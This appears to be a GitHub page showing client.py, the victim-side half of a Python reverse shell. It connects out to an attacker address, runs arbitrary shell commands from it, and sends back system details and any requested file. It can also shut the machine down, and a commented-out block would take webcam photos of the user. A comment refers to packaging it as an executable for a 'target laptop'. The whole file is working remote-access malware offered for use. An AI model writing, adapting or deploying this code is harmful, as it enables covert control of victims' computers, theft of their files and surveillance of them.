Repository navigation
Expand file tree
/
Copy pathclient.py
More file actions
102 lines (90 loc) · 3.4 KB
/
Copy pathclient.py
File metadata and controls
102 lines (90 loc) · 3.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#import modules
import socket
import subprocess
import os
import platform
import getpass
import colorama
#import cv2
#cv2 can be added to take pictures of users if you are trying to expirement further, however this will pose some issues with pytoexe if the target laptop doesnt already have tehse modules and python isntalled
from colorama import Fore, Style
from time import sleep
#initial modules and variables
colorama.init()
RHOST = "Your ip"
RPORT = 22222
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((RHOST, RPORT))
#initialize main loop
while True:
try:
header = f"""{Fore.RED}{getpass.getuser()}@{platform.node()}{Style.RESET_ALL}:{Fore.LIGHTBLUE_EX}{os.getcwd()}{Style.RESET_ALL}$ """
sock.send(header.encode())
STDOUT, STDERR = None, None
cmd = sock.recv(1024).decode("utf-8", errors='ignore')
# List files in the dir
if cmd == "list":
sock.send(str(os.listdir(".")).encode())
# Shutdown laptop
if cmd == "shutdown":
sock.send("Shutting down connect laptop 10 seconds")
os.system("shutdown /s /t 10")
#To take photo of user
#elif cmd == "photo":
# videoCaptureObject = cv2.VideoCapture(0)
# result = True
# while(result):
# ret,frame = videoCaptureObject.read()
# cv2.imwrite("NewPicture.jpg",frame)
# result = False
#videoCaptureObject.release()
#cv2.destroyAllWindows()
# Change directory
elif cmd.split(" ")[0] == "cd":
os.chdir(cmd.split(" ")[1])
sock.send("Changed directory to {}".format(os.getcwd()).encode())
# Change drive
elif cmd == "C:":
os.chdir("C:\\")
sock.send("Changed directory to {}".format(os.getcwd()).encode())
# Get system info
elif cmd == "sysinfo":
sysinfo = f"""
Operating System: {platform.system()}
Computer Name: {platform.node()}
Username: {getpass.getuser()}
Release Version: {platform.release()}
Processor Architecture: {platform.processor()}
"""
sock.send(sysinfo.encode())
# Download files
elif cmd.split(" ")[0] == "download":
with open(cmd.split(" ")[1], "rb") as f:
file_data = f.read(1024)
while file_data:
#print("Sending", file_data) allows user to see file data being sent
sock.send(file_data)
file_data = f.read(1024)
sleep(2)
sock.send(b"DONE")
print("Finished sending data")
# Terminate the connection
elif cmd == "exit":
sock.send(b"exit")
break
# Run any other command
else:
comm = subprocess.Popen(str(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
STDOUT, STDERR = comm.communicate()
if not STDOUT:
sock.send(STDERR)
else:
sock.send(STDOUT)
# If the connection terminates
if not cmd:
print("Connection dropped")
break
except Exception as e:
sock.send("An error has occured: {}".format(str(e)).encode())
sock.close()
# closing connection